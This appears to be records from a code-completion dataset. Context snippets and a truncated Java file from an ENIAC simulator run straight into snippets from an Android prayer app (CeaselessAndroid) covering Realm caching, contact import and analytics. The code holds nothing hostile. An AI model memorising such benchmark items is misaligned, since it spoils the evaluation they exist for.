{\n\t\t\t_textArea.setText(proxy.get(Proxy.Tag.DESCRIPTION));\n\t\t}\n\n\t\t// set data according to user's selection\n\t\tString s = _jtextField.getText();\n\t\tif (_radioButton1.isSelected() && proxy != null) {\n\t\t\t_configurationType = BASIC;\n\t\t\t_selectedProxy = proxy;\n\t\t}\n\t\telse if (_radioButton2.isSelected() && !s.equals(\"\")) { //$NON-NLS-1$\n\t\t\t_configurationType = LOCAL;\n\t\t\t_canonicalPath = s;\n\t\t}\n\t\telse {\n\t\t\t_configurationType = NO_CONFIGURATION;\n\t\t}\n\n\t\t// enable or disable okButton\n\t\t_okAction.setEnabled(_configurationType != NO_CONFIGURATION);\n\t}\n\n\tpublic void performCancelAction() {\n\t\t_configurationType = NO_CONFIGURATION;\n\t\tSwingUtilities.windowForComponent(OpenConfigurationPanel.this).dispose();\n\t}\n\n\tvoid performOkAction() {\n\t\tif (_configurationType != NO_CONFIGURATION) {\n\t\t\tSwingUtilities.windowForComponent(OpenConfigurationPanel.this).dispose();\n\t\t}\n\t}\n\n\tvoid performFilechooserAction() {\n\t\tJFileChooser chooser = new JFileChooser();\n\t\tchooser.setFileFilter(IOUtil.getFileFilter());\n\t\tint returnVal = chooser.showOpenDialog(OpenConfigurationPanel.this);\n\t\tif (returnVal == JFileChooser.APPROVE_OPTION) {\n\n\t\t\ttry {\n\t\t\t\t_jtextField.setText(chooser.getSelectedFile().getCanonicalPath());\n\t\t\t\tperformUpdate();\n\t\t\t} catch (IOException exc) {\n\t\t\t\texc.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n}", "public enum Status {\n\n\t/**\n\t * the current lifecycle state\n\t */\n\tLIFECYCLE,\n\n\t/**\n\t * the active configuration or null\n\t */\n\tCONFIGURATION,\n\n\t/**\n\t * flag indicating, whether the overview window is shown or not\n\t */\n\tSHOW_OVERVIEW,\n\n\t/**\n\t * the default height of the configuration panel\n\t */\n\tBASIC_CONFIGURATION_HEIGHT,\n\n\t/**\n\t * the height of the configuration panel\n\t */\n\tZOOMED_HEIGHT,\n\n\t/**\n\t * flag indicating, whether the overview window is shown or not\n\t */\n\tSHOW_LOG,\n\n\t/**\n\t * the currently loaded skin (currently only buttercream) or null\n\t */\n\tSKIN,\n\n\t/**\n\t * the currently loaded language\n\t */\n\tLANGUAGE,\n\n\t/**\n\t * flag indicating, whether the pulses shall be highlighted or not\n\t */\n\tHIGHLIGHT_PULSE,\n\n\t/**\n\t * the current simulation time\n\t */\n\tSIMULATION_TIME;\n\n\t/*\n\t * ============================= fields ==================================\n\t */\n\n\t// the value for this status key\n\tprivate Object _value;\n\n\tprivate LinkedList<StatusListener> _listeners = new LinkedList<>();\n\n\t/*\n\t * ========================= singleton stuff =======================\n\t */\n\n\tpublic static void initValues() {\n\t\tCONFIGURATION._value = null;\n\t\tSHOW_OVERVIEW._value = StringConverter.toBoolean(EProperties.getInstance().getProperty(SHOW_OVERVIEW));\n\t\tZOOMED_HEIGHT._value = StringConverter.toInt(EProperties.getInstance().getProperty(BASIC_CONFIGURATION_HEIGHT));\n\t\tSHOW_LOG._value = StringConverter.toBoolean(EProperties.getInstance().getProperty(SHOW_LOG));\n\t\tSKIN._value = null;\n\t\tLANGUAGE._value = null;\n\t\tHIGHLIGHT_PULSE._value = StringConverter.toBoolean(EProperties.getInstance().getProperty(HIGHLIGHT_PULSE));\n\t\tSIMULATION_TIME._value = -1L;\n\t}\n\n\t// =========================== getter and setter\n\t// ============================\n\n\tpublic void setValue(Object newValue) {\n\t\tObject oldValue = _value;\n\t\tif (oldValue == null) {\n\t\t\tif (newValue != null) {\n\t\t\t\t_value = newValue;\n\t\t\t\tinformListeners();\n\t\t\t}\n\t\t}\n\t\telse if (!oldValue.equals(newValue)) {\n\t\t\t_value = newValue;\n\t\t\tinformListeners();\n\t\t}\n\t}\n\n\tpublic boolean toggle() {\n\t\treturn (boolean) (_value = !((boolean) _value));\n\t}\n\n\tpublic Object getValue() {\n\t\treturn _value;\n\t}\n\n\t/*\n\t * ========================= listener stuff =======================\n\t */\n\n\tpublic void addListener(StatusListener listener) {\n\t\t_listeners.add(listener);\n\t}\n\n\tpublic void removeListener(StatusListener listener) {\n\t\t_listeners.remove(listener);\n\t}\n\n\tprivate void informListeners() {\n\t\tfor (StatusListener listener : _listeners) {\n\t\t\tlistener.statusChanged(this, _value);\n\t\t}\n\t}\n}" ]
import java.awt.event.ActionEvent; import java.util.List; import eniac.Manager; import eniac.data.io.ConfigIO; import eniac.io.Proxy; import eniac.lang.Dictionary; import eniac.menu.action.gui.OpenConfigurationPanel; import eniac.util.Status;
/******************************************************************************* * Copyright (c) 2003-2005, 2013 Till Zoppke. * All rights reserved. This program and the accompanying materials * are made available under the terms of the GNU Public License v3.0 * which accompanies this distribution, and is available at * http://www.gnu.org/licenses/gpl.html * * Contributors: * Till Zoppke - initial API and implementation ******************************************************************************/ /* * Created on 10.09.2003 * * To change the template for this generated file go to * Window - Preferences - Java - Code Generation - Code and Comments */ package eniac.menu.action; /** * @author zoppke * * To change the template for this generated type comment go to Window - * Preferences - Java - Code Generation - Code and Comments */ public class OpenConfiguration extends EAction implements Runnable { public void actionPerformed(ActionEvent evt) { Thread t = new Thread(this); t.start(); } public void run() { // announce that we are busy now Manager.getInstance().block(); // scan for proxies List<Proxy> proxies = ConfigIO.loadProxies(); // create dialog that user can choose a configDescriptor
OpenConfigurationPanel panel = new OpenConfigurationPanel(proxies);
4
ceaseless-prayer/CeaselessAndroid
app/src/main/java/org/theotech/ceaselessandroid/fragment/ProgressCardSupportFragment.java
[ "public interface CacheManager {\n ScriptureData getCachedScripture();\n\n void cacheScripture(ScriptureData scriptureData);\n\n String getCachedVerseImageURL();\n\n void cacheVerseImageURL(String verseImageURL);\n\n List<String> getCachedPersonIdsToPrayFor();\n\n void cachePersonIdsToPrayFor(List<String> personIdsToPrayFor);\n\n // used to cache which page a user is on so we return on resume\n Integer getCachedPageIndex();\n\n void cachePageIndex(Integer pageIndex);\n\n long numberOfCacheEntries();\n}", "public class LocalDailyCacheManagerImpl implements CacheManager {\n private static final String TAG = LocalDailyCacheManagerImpl.class.getSimpleName();\n\n private static LocalDailyCacheManagerImpl instance = null;\n private Realm realm;\n\n public LocalDailyCacheManagerImpl(Context context) {\n this.realm = Realm.getDefaultInstance();\n }\n\n public static LocalDailyCacheManagerImpl getInstance(Context context) {\n if (instance == null) {\n instance = new LocalDailyCacheManagerImpl(context);\n }\n return instance;\n }\n\n public static String generateCreationDate() {\n Calendar cal = Calendar.getInstance();\n cal.setTime(new Date());\n return String.format(\"%s-%s-%s\", cal.get(Calendar.YEAR), cal.get(Calendar.MONTH),\n cal.get(Calendar.DAY_OF_MONTH));\n }\n\n @Override\n public ScriptureData getCachedScripture() {\n LocalCacheDataPOJO cacheData = getCacheData();\n if (cacheData != null &&\n cacheData.getScriptureText() != null && !cacheData.getScriptureText().isEmpty() &&\n cacheData.getScriptureCitation() != null && !cacheData.getScriptureCitation().isEmpty() &&\n cacheData.getScriptureLink() != null && !cacheData.getScriptureLink().isEmpty() &&\n cacheData.getScriptureJson() != null && !cacheData.getScriptureJson().isEmpty()) {\n return new ScriptureData(cacheData.getScriptureText(), cacheData.getScriptureCitation(), cacheData.getScriptureLink(), cacheData.getScriptureJson());\n }\n return null;\n }\n\n @Override\n public void cacheScripture(ScriptureData scriptureData) {\n if (scriptureData != null &&\n scriptureData.getText() != null && !scriptureData.getText().isEmpty() &&\n scriptureData.getCitation() != null && !scriptureData.getCitation().isEmpty() &&\n scriptureData.getLink() != null && !scriptureData.getLink().isEmpty() &&\n scriptureData.getJson() != null && !scriptureData.getJson().isEmpty()) {\n LocalCacheDataPOJO newCacheData = new LocalCacheDataPOJO();\n newCacheData.setScriptureText(scriptureData.getText());\n newCacheData.setScriptureCitation(scriptureData.getCitation());\n newCacheData.setScriptureLink(scriptureData.getLink());\n newCacheData.setScriptureJson(scriptureData.getJson());\n cacheData(newCacheData);\n }\n }\n\n @Override\n public String getCachedVerseImageURL() {\n LocalCacheDataPOJO cacheData = getCacheData();\n if (cacheData != null &&\n cacheData.getVerseImageURL() != null && !cacheData.getVerseImageURL().isEmpty()) {\n return cacheData.getVerseImageURL();\n }\n return null;\n }\n\n @Override\n public void cacheVerseImageURL(String verseImageURL) {\n if (verseImageURL != null && !verseImageURL.isEmpty()) {\n LocalCacheDataPOJO newCacheData = new LocalCacheDataPOJO();\n newCacheData.setVerseImageURL(verseImageURL);\n cacheData(newCacheData);\n }\n }\n\n @Override\n public List<String> getCachedPersonIdsToPrayFor() {\n LocalCacheDataPOJO cacheData = getCacheData();\n if (cacheData != null &&\n cacheData.getPersonIdsToPrayFor() != null && !cacheData.getPersonIdsToPrayFor().isEmpty()) {\n return cacheData.getPersonIdsToPrayFor();\n }\n return null;\n }\n\n @Override\n public void cachePersonIdsToPrayFor(List<String> personIdsToPrayFor) {\n if (personIdsToPrayFor != null && !personIdsToPrayFor.isEmpty()) {\n LocalCacheDataPOJO newCacheData = new LocalCacheDataPOJO();\n newCacheData.setPersonIdsToPrayFor(personIdsToPrayFor);\n cacheData(newCacheData);\n }\n }\n\n @Override\n public Integer getCachedPageIndex() {\n LocalCacheDataPOJO cacheData = getCacheData();\n if (cacheData != null && cacheData.getPageIndex() != null) {\n return cacheData.getPageIndex();\n }\n return null;\n }\n\n @Override\n public void cachePageIndex(Integer pageIndex) {\n if (pageIndex != null) {\n LocalCacheDataPOJO newCacheData = new LocalCacheDataPOJO();\n newCacheData.setPageIndex(pageIndex);\n cacheData(newCacheData);\n }\n }\n\n @Override\n public long numberOfCacheEntries() {\n return realm.where(LocalCacheData.class).count();\n }\n\n private LocalCacheDataPOJO getCacheData() {\n return RealmUtils.toLocalCacheDataPOJO(getRealmCacheData());\n }\n\n private LocalCacheData getRealmCacheData() {\n return realm.where(LocalCacheData.class).equalTo(\"creationDate\", generateCreationDate()).findFirst();\n }\n\n private void cacheData(LocalCacheDataPOJO newCacheData) {\n realm.beginTransaction();\n\n LocalCacheData realmCacheData = getRealmCacheData();\n if (realmCacheData == null) {\n realmCacheData = realm.createObject(LocalCacheData.class, generateCreationDate());\n }\n populateCacheData(realmCacheData, newCacheData);\n realm.commitTransaction();\n }\n\n private void populateCacheData(LocalCacheData realmCacheData, LocalCacheDataPOJO newCacheData) {\n if (newCacheData.getPersonIdsToPrayFor() != null) {\n List<String> personIdsToPrayFor = newCacheData.getPersonIdsToPrayFor();\n RealmList<RealmString> managedPersonIdsToPrayFor = new RealmList<>();\n for (String personIdToPrayFor : personIdsToPrayFor) {\n managedPersonIdsToPrayFor.add(realm.copyToRealm(new RealmString(personIdToPrayFor)));\n }\n realmCacheData.setPersonIdsToPrayFor(managedPersonIdsToPrayFor);\n }\n if (newCacheData.getScriptureCitation() != null) {\n realmCacheData.setScriptureCitation(newCacheData.getScriptureCitation());\n }\n if (newCacheData.getScriptureText() != null) {\n realmCacheData.setScriptureText(newCacheData.getScriptureText());\n }\n if (newCacheData.getScriptureLink() != null) {\n realmCacheData.setScriptureLink(newCacheData.getScriptureLink());\n }\n if (newCacheData.getScriptureJson() != null) {\n realmCacheData.setScriptureJson(newCacheData.getScriptureJson());\n }\n if (newCacheData.getVerseImageURL() != null) {\n realmCacheData.setVerseImageURL(newCacheData.getVerseImageURL());\n }\n if (newCacheData.getPageIndex() != null) {\n realmCacheData.setPageIndex(newCacheData.getPageIndex());\n }\n }\n}", "public interface PersonManager {\n\n RealmList<Person> getPersonFromPersonPOJO(List<PersonPOJO> people);\n\n void setRealm(Realm realm);\n\n List<PersonPOJO> getNextPeopleToPrayFor(int n) throws AlreadyPrayedForAllContactsException;\n\n List<PersonPOJO> getActivePeople();\n\n List<PersonPOJO> getFavoritePeople();\n\n List<PersonPOJO> getRemovedPeople();\n\n long getNumPrayed();\n\n long getNumPeople();\n\n long getNumFavoritedPeople();\n\n long getNumRemovedPeople();\n\n PersonPOJO getPerson(String personId);\n\n Person getRealmPerson(String personId);\n\n void ignorePerson(String personId);\n\n void unignorePerson(String personId);\n\n void favoritePerson(String personId);\n\n void unfavoritePerson(String personId);\n\n void populateContacts();\n\n List<PersonPOJO> queryPeopleByName(String query);\n}", "public class PersonManagerImpl implements PersonManager {\n private static final String TAG = PersonManagerImpl.class.getSimpleName();\n private static final String CONTACTS_SOURCE = \"Contacts\";\n private static final int RANDOM_FAVORITE_THRESHOLD = 7;\n private static final int RANDOM_SAMPLE_POST_METRICS = 2;\n\n private static PersonManager instance;\n private Activity activity;\n private Realm realm;\n private ContentResolver contentResolver;\n private CacheManager cacheManager;\n\n private PersonManagerImpl(Activity activity) {\n this.activity = activity;\n this.realm = Realm.getDefaultInstance();\n this.contentResolver = this.activity.getContentResolver();\n this.cacheManager = LocalDailyCacheManagerImpl.getInstance(activity);\n }\n\n public static PersonManager getInstance(Activity activity) {\n if (instance == null) {\n instance = new PersonManagerImpl(activity);\n }\n return instance;\n }\n\n @Override\n public RealmList<Person> getPersonFromPersonPOJO(List<PersonPOJO> people) {\n RealmList<Person> listOfPersons = new RealmList<>();\n\n if (people == null || people.size() == 0) {\n return listOfPersons;\n }\n\n RealmQuery<Person> query = realm.where(Person.class)\n .equalTo(Person.Column.ID, people.get(0).getId());\n\n for (int i = 1; i < people.size(); i++) {\n query = query.or().equalTo(Person.Column.ID, people.get(i).getId());\n }\n\n RealmResults<Person> results = query.findAll();\n for (int i = 0; i < results.size(); i++) {\n listOfPersons.add(results.get(i));\n }\n\n return listOfPersons;\n }\n\n @Override\n public List<PersonPOJO> getNextPeopleToPrayFor(int n) throws AlreadyPrayedForAllContactsException {\n List<PersonPOJO> peopleToPrayFor = new ArrayList<>();\n\n // Get all people who haven't been prayed for, sorted by last_prayed\n RealmResults<Person> results = realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.IGNORED, false)\n .equalTo(Person.Column.PRAYED, false)\n .sort(Person.Column.LAST_PRAYED)\n .findAll();\n handleAllPrayedFor(results); // resets all the prayed flags and\n // throws AlreadyPrayedForAllContactsException when needed\n // We still have people available to be prayed for\n List<Person> peopleAvailableToBePrayedFor = getShuffledListOfAllPeople(results);\n if (peopleAvailableToBePrayedFor.size() < 1) {\n return peopleToPrayFor;\n }\n\n // Add preselectedPerson to prayer list if available\n Person preselectedPerson = loadPreselectedPerson();\n if (preselectedPerson != null) {\n selectPerson(preselectedPerson);\n peopleToPrayFor.add(getPerson(preselectedPerson.getId()));\n peopleAvailableToBePrayedFor.remove(preselectedPerson);\n }\n\n // Add more people to pray for (until we run out of unprayed people or have enough)\n Integer numToSelect = Math.min(n - peopleToPrayFor.size(),\n peopleAvailableToBePrayedFor.size());\n int personIndex = 0;\n for (int i = 0; i < numToSelect; i++) {\n Person person = peopleAvailableToBePrayedFor.get(personIndex);\n // Select this person if they haven't been chosen yet\n if (!peopleToPrayFor.contains(getPerson(person.getId()))) {\n selectPerson(person);\n peopleToPrayFor.add(getPerson(person.getId()));\n peopleAvailableToBePrayedFor.remove(person);\n personIndex--;\n }\n personIndex++;\n }\n\n if (peopleAvailableToBePrayedFor.size() > 0) {\n preselectPerson(peopleAvailableToBePrayedFor);\n }\n return peopleToPrayFor;\n }\n\n @NonNull\n private List<Person> getShuffledListOfAllPeople(RealmResults<Person> results) {\n // shuffle the list of people\n List<Person> allPeople = new ArrayList<>();\n for (int i = 0; i < results.size(); i++) {\n allPeople.add(results.get(i));\n }\n Collections.shuffle(allPeople);\n return allPeople;\n }\n\n private void handleAllPrayedFor(RealmResults<Person> results) throws AlreadyPrayedForAllContactsException {\n // if all people are prayed for, then reset and throw exception\n if (getNumPeople() > 0 && results.size() == 0) {\n // Reset all the prayed flags\n realm.beginTransaction();\n RealmResults<Person> resultsToReset = realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.IGNORED, false)\n .findAll();\n for (int i = 0; i < resultsToReset.size(); i++) {\n resultsToReset.get(i).setPrayed(false);\n }\n realm.commitTransaction();\n // Throw Exception\n throw new AlreadyPrayedForAllContactsException(getNumPeople());\n }\n }\n\n private Person selectFavoritedPerson() {\n RealmResults<Person> favoritedPeople = realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.FAVORITE, true)\n .equalTo(Person.Column.IGNORED, false)\n .sort(Person.Column.LAST_PRAYED)\n .findAll();\n\n if (favoritedPeople.size() > 0) {\n if (favoritedPeople.size() < RANDOM_FAVORITE_THRESHOLD) {\n Random random = new Random();\n if (random.nextInt(RANDOM_FAVORITE_THRESHOLD) == 0) {\n return favoritedPeople.get(0);\n }\n } else {\n // always show a favorited person if they have\n // favorited more than 7 people\n return favoritedPeople.get(0);\n }\n }\n\n return null;\n }\n\n private void preselectPerson(List<Person> allPeople) {\n SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(activity);\n Person theChosenOne = selectFavoritedPerson();\n if (theChosenOne == null) {\n theChosenOne = allPeople.get(0);\n }\n sp.edit()\n .putString(Constants.PRESELECTED_PERSON_ID, theChosenOne.getId())\n .putString(Constants.PRESELECTED_PERSON_NAME, theChosenOne.getName())\n .apply();\n }\n\n private Person loadPreselectedPerson() {\n SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(activity);\n String personId = sp.getString(Constants.PRESELECTED_PERSON_ID, null);\n if (personId == null) {\n return null;\n }\n return getRealmPerson(personId);\n }\n\n private void selectPerson(Person person) {\n realm.beginTransaction();\n person.setLastPrayed(new Date());\n person.setPrayed(true);\n realm.commitTransaction();\n Log.d(TAG, \"Selecting person \" + person);\n }\n\n @Override\n public List<PersonPOJO> getActivePeople() {\n return RealmUtils.toPersonPOJOs(realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.IGNORED, false)\n .sort(Person.Column.NAME)\n .findAll());\n }\n\n @Override\n public List<PersonPOJO> getFavoritePeople() {\n return RealmUtils.toPersonPOJOs(realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.FAVORITE, true)\n .equalTo(Person.Column.IGNORED, false)\n .sort(Person.Column.NAME)\n .findAll());\n }\n\n @Override\n public List<PersonPOJO> getRemovedPeople() {\n return RealmUtils.toPersonPOJOs(realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.IGNORED, true)\n .sort(Person.Column.NAME)\n .findAll());\n }\n\n @Override\n public long getNumPrayed() {\n return realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.IGNORED, false)\n .equalTo(Person.Column.PRAYED, true)\n .count();\n }\n\n @Override\n public long getNumPeople() {\n return realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.IGNORED, false)\n .count();\n }\n\n @Override\n public long getNumFavoritedPeople() {\n return realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.IGNORED, false)\n .equalTo(Person.Column.FAVORITE, true)\n .count();\n }\n\n @Override\n public long getNumRemovedPeople() {\n return realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .equalTo(Person.Column.IGNORED, true)\n .count();\n }\n\n @Override\n public PersonPOJO getPerson(String personId) {\n return RealmUtils.toPersonPOJO(getRealmPerson(personId));\n }\n\n @Override\n public Person getRealmPerson(String personId) {\n return realm.where(Person.class)\n .equalTo(Person.Column.ID, personId)\n .findFirst();\n }\n\n @Override\n public void ignorePerson(String personId) {\n realm.beginTransaction();\n Person person = getRealmPerson(personId);\n person.setIgnored(true);\n person.setFavorite(false);\n realm.commitTransaction();\n }\n\n @Override\n public void unignorePerson(String personId) {\n realm.beginTransaction();\n getRealmPerson(personId).setIgnored(false);\n realm.commitTransaction();\n }\n\n @Override\n public void favoritePerson(String personId) {\n realm.beginTransaction();\n getRealmPerson(personId).setFavorite(true);\n realm.commitTransaction();\n }\n\n @Override\n public void unfavoritePerson(String personId) {\n realm.beginTransaction();\n getRealmPerson(personId).setFavorite(false);\n realm.commitTransaction();\n }\n\n public Realm getRealm() {\n return realm;\n }\n\n public void setRealm(Realm realm) {\n this.realm = realm;\n }\n\n @Override\n public void populateContacts() {\n Cursor cursor = null;\n realm.beginTransaction();\n\n int added = 0;\n int updated = 0;\n List<String> ids = new ArrayList<>();\n List<Person> people = new ArrayList<>();\n\n try {\n cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);\n\n while (cursor.moveToNext()) {\n if (isValidContact(cursor)) {\n String id = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));\n ids.add(id);\n String name = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));\n Log.v(TAG, String.format(\"Person: id=%s name=%s\", id, name));\n\n Person person = realm.where(Person.class)\n .equalTo(Person.Column.ID, id)\n .findFirst();\n\n if (person == null) {\n\n person = realm.createObject(Person.class, id);\n person.setName(name);\n person.setSource(CONTACTS_SOURCE);\n person.setActive(true);\n person.setIgnored(false);\n person.setLastPrayed(new Date(0L));\n\n // auto-favorite contacts that were starred by user.\n boolean starred = cursor.getInt(cursor.getColumnIndex(ContactsContract.Contacts.STARRED)) == 1;\n person.setFavorite(starred);\n\n ++added;\n } else {\n Log.v(TAG, \"User already existed, updating information.\");\n // Update the name in case the user updates it\n person.setName(name);\n person.setActive(true);\n ++updated;\n }\n people.add(person);\n }\n }\n } finally {\n if (cursor != null) {\n cursor.close();\n }\n }\n\n // Clean up contacts whose ids have now changed\n // Copy their contents to an existing contact if there is a matching one.\n RealmResults<Person> fullList = realm.where(Person.class)\n .equalTo(Person.Column.ACTIVE, true)\n .findAll();\n\n List<Pair<String, Person>> peopleWithUpdatedIds = new ArrayList<>();\n\n for (int i = 0; i < fullList.size(); i++) {\n Person p = fullList.get(i);\n if (!ids.contains(p.getId())) {\n Log.v(TAG, \"Contact with id \" + p.getId() + \" no longer exists.\");\n Person matchingContact = findPersonWithName(p.getName(), people);\n if (matchingContact != null) {\n Log.v(TAG, \"A contact with name \" + p.getName() + \" exists. Merging details.\");\n copyContact(p, matchingContact);\n // update daily cache with new ids if any persons selected for today are affected\n peopleWithUpdatedIds.add(Pair.create(p.getId(), matchingContact));\n // cleanup the obsolete contact (must be after we've update the cache)\n p.deleteFromRealm();\n } else {\n Log.v(TAG, \"Marking this contact inactive because it no longer exists on the phone.\");\n p.setActive(false);\n peopleWithUpdatedIds.add(Pair.create(p.getId(), (Person) null));\n }\n }\n }\n\n realm.commitTransaction();\n\n // we need to update the cache in a separate transaction\n for (Pair<String, Person> p : peopleWithUpdatedIds) {\n updateCachedPersonIds(p.first, p.second);\n }\n\n Log.d(TAG, String.format(\"Successfully added %d and updated %d contacts.\", added, updated));\n sampleAndPostMetrics();\n }\n\n private void updateCachedPersonIds(String oldContactId, Person newContact) {\n List<String> personIds = cacheManager.getCachedPersonIdsToPrayFor();\n if (personIds != null && personIds.contains(oldContactId)) {\n Log.i(TAG, \"Updating a selected contact in daily cache.\");\n personIds.remove(oldContactId);\n if (newContact != null) {\n personIds.add(newContact.getId());\n }\n cacheManager.cachePersonIdsToPrayFor(personIds);\n }\n }\n\n private Person findPersonWithName(String name, List<Person> people) {\n for (Person p : people) {\n if (p.getName().equals(name)) {\n return p;\n }\n }\n return null;\n }\n\n private void copyContact(Person src, Person dst) {\n // do not copy id or name.\n // copy over everything else\n dst.setActive(src.isActive());\n dst.setFavorite(src.isFavorite());\n dst.setIgnored(src.isIgnored());\n dst.setLastPrayed(src.getLastPrayed());\n dst.setPrayed(src.isPrayed());\n dst.setSource(src.getSource());\n\n transferNotes(src, dst);\n\n // TODO potentially update the Cache\n // so all ids that pointed to the old contact, point to the new.\n }\n\n private void transferNotes(Person src, Person dst) {\n // transfer notes over\n RealmList<Note> notes = src.getNotes();\n for (Note n : notes) {\n RealmList<Person> peopleTagged = n.getPeopleTagged();\n RealmList<Person> newPeopleTagged = new RealmList<>();\n Iterator<Person> i = peopleTagged.iterator();\n // remove the old version of this person on the note\n while (i.hasNext()) {\n Person p = i.next();\n if (p.getId().equals(src.getId())) {\n // add the new version of this person on the note\n newPeopleTagged.add(dst);\n } else {\n newPeopleTagged.add(p);\n }\n }\n n.setPeopleTagged(newPeopleTagged);\n }\n dst.setNotes(src.getNotes());\n }\n\n @Override\n public List<PersonPOJO> queryPeopleByName(String query) {\n List<PersonPOJO> people = RealmUtils.toPersonPOJOs(realm.where(Person.class)\n .contains(Person.Column.NAME, query, Case.INSENSITIVE)\n .equalTo(Person.Column.ACTIVE, true)\n .sort(Person.Column.NAME)\n .findAll());\n return people;\n }\n\n private boolean isValidContact(Cursor cursor) {\n boolean hasPhoneNumber = cursor.getInt(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER)) == 1;\n String name = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));\n return hasPhoneNumber && !name.startsWith(\"#\") && !name.startsWith(\"+\") && contactNameFilter(name);\n }\n\n private boolean contactNameFilter(String name) {\n\n if (name == null || name.isEmpty()) {\n return false;\n }\n\n if (Character.isDigit(name.charAt(0))) {\n // if the name starts with a number ignore it.\n return false;\n }\n\n if (android.util.Patterns.EMAIL_ADDRESS.matcher(name).matches()) {\n return false;\n }\n\n List<String> blacklist = Arrays.asList(activity.getResources().getStringArray(R.array.contact_name_blacklist));\n for (String s : blacklist) {\n // match the name to the blacklist elements\n // since the argument to matches is a regular expression\n // note that we can also use Pattern.quote to not treat it as a regular expression.\n // we do it this way since in the future our blacklist may want to consist in regular expressions\n if (name.matches(s)) {\n return false;\n }\n }\n\n return true;\n }\n\n private void sampleAndPostMetrics() {\n Random random = new Random();\n if (random.nextInt(RANDOM_SAMPLE_POST_METRICS) == 0) {\n Log.i(TAG, \"Posting contact metrics for analytics\");\n String installationId = Installation.id(activity);\n AnalyticsUtils.sendEventWithCategoryAndValue(activity,\n getString(R.string.ga_address_book_sync),\n getString(R.string.ga_post_total_active_contacts),\n installationId,\n getNumPeople());\n\n AnalyticsUtils.sendEventWithCategoryAndValue(activity,\n getString(R.string.ga_address_book_sync),\n getString(R.string.ga_post_total_favorited),\n installationId,\n getNumFavoritedPeople());\n\n AnalyticsUtils.sendEventWithCategoryAndValue(activity,\n getString(R.string.ga_address_book_sync),\n getString(R.string.ga_post_total_removed_contacts),\n installationId,\n getNumRemovedPeople());\n\n AnalyticsUtils.sendEventWithCategoryAndValue(activity,\n getString(R.string.ga_prayer_progress),\n getString(R.string.ga_post_total_prayed_for),\n installationId,\n getNumPrayed());\n }\n }\n\n private String getString(int resId) {\n return this.activity.getString(resId);\n }\n\n}", "public class AnalyticsUtils {\n\n private static final String TAG = AnalyticsUtils.class.getSimpleName();\n\n public static void sendScreenViewHit(Activity activity, String name) {\n Log.v(TAG, \"Setting screen name: \" + name);\n FirebaseAnalytics.getInstance(activity).setCurrentScreen(activity, name, null /* class override */);\n }\n\n public static void sendEventWithCategoryAndValue(Activity activity, String category, String action, String label, Long value) {\n final Bundle params = new Bundle();\n params.putString(\"category\", category);\n params.putString(\"action\", action);\n params.putString(\"label\", label);\n params.putLong(\"value\", value);\n FirebaseAnalytics.getInstance(activity).logEvent(\"ga_event\", params);\n }\n\n public static void sendEventWithCategory(Activity activity, String category, String action, String label) {\n final Bundle params = new Bundle();\n params.putString(\"category\", category);\n params.putString(\"action\", action);\n params.putString(\"label\", label);\n FirebaseAnalytics.getInstance(activity).logEvent(\"ga_event\", params);\n }\n}", "public class Constants {\n public static final int NUM_AUXILIARY_CARDS = 2;\n public static final int SCHEMA_VERSION = 0;\n public static final String REALM_FILE_NAME = \"org.theotech.ceaselessandroid\";\n\n public static final String HOME_SECTION_NUMBER_BUNDLE_ARG = \"homeSectionNumber\";\n public static final String USE_CACHE_BUNDLE_ARG = \"useCache\";\n public static final String PERSON_ID_BUNDLE_ARG = \"personId\";\n public static final String NOTE_ID_BUNDLE_ARG = \"noteId\";\n public static final String NEXT_BACKGROUND_IMAGE = \"nextBackgroundImage\";\n public static final String CURRENT_BACKGROUND_IMAGE = \"currentBackgroundImage\";\n public static final String PRESELECTED_PERSON_NAME = \"preselectedPersonName\";\n public static final String PRESELECTED_PERSON_ID = \"preselectedPersonId\";\n\n public static final String SHOW_PERSON_INTENT = \"org.theotech.ceaselessandroid.SHOW_PERSON\";\n public static final String SHOW_NOTE_INTENT = \"org.theotech.ceaselessandroid.SHOW_NOTE\";\n public static final String DEFAULT_PREFERENCES_FILE = \"org.theotech.ceaselessandroid_preferences\";\n\n public static final String NUMBER_OF_PEOPLE_TO_PRAY_FOR = \"numberOfPeopleToPrayForDaily\";\n\n public static final String DEMO_NAME_BUNDLE_ARG = \"demoName\";\n public static final String DEMO_TOOLTIP_BUNDLE_ARG = \"demoShowToolTip\";\n\n public static final String DEFAULT_CEASELESS_CHANNEL_ID = \"ceaselessPrayerReminders\";\n}", "public class FragmentUtils {\n private static final String TAG = FragmentUtils.class.getSimpleName();\n\n public static void loadFragment(Activity activity, FragmentManager fragmentManager, NavigationView navigation,\n int resourceId) {\n loadFragment(activity, fragmentManager, navigation, resourceId, (Bundle) null);\n }\n\n public static void loadFragment(Activity activity, FragmentManager fragmentManager, NavigationView navigation,\n int resourceId, Bundle loadingFragmentState /* state of the fragment being loaded */) {\n loadFragment(activity, fragmentManager, navigation, resourceId, loadingFragmentState, null);\n }\n\n public static void loadFragment(Activity activity, FragmentManager fragmentManager, NavigationView navigation,\n int resourceId, FragmentState backStackInfo) {\n loadFragment(activity, fragmentManager, navigation, resourceId, null, backStackInfo);\n }\n\n public static void loadFragment(Activity activity, FragmentManager fragmentManager, NavigationView navigation,\n int resourceId, Bundle loadingFragmentState /* state of the fragment being 